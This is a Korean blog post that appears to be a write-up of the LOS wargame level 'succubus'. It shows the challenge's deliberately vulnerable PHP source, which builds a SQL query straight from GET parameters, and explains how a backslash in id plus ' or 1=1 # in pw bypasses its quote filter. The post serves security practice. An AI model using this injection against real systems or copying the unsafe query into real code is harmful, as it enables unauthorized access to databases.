R136A1
[LOS] 16. succubus :: SI 본문
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("succubus");
highlight_file(__FILE__);
?>
제약조건
파라미터 id, pw에 싱글쿼터(') 사용 불가
select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'
풀이조건
쿼리의 결과에 값이 있다면
이스케이프 문자(\)를 활용하여 id의 ' 를 단순 문자로 취급되게 한다.
그 결과, pw의 첫번째 ' 를 끝 ' 로 사용하게 되어 전부 문자열로 취급된다.
select id from prob_succubus where id='\' and pw='{$_GET[pw]}'
select id from prob_succubus where id='\' and pw='{$_GET[pw]}'
이제 $_GET[pw]에 마음껏 exploit을 할 수 있는데, 풀이 조건이 값만 있으면 되는 것이니까 항상 참인 조건을 입력한다.
하나 남은 싱글쿼터 ' 는 주석문을 통해 처리하여 오류가 나지 않도록 한다.
select id from prob_succubus where id='\' and pw=' or 1=1 # '
#은 %23으로 입력한다
'WEB SECURITY > SQL Injection' 카테고리의 다른 글
[LOS] 18. nightmare :: SI (0) | 2021.09.23 |
---|---|
[LOS] 17. zombie_assassin :: SI (0) | 2021.09.19 |
[LOS] 15. assassin :: blind SI (0) | 2021.09.19 |
[LOS] 14. giant :: SI (0) | 2021.09.18 |
[LOS] 13. bugbear :: blind SI (0) | 2021.09.18 |
Comments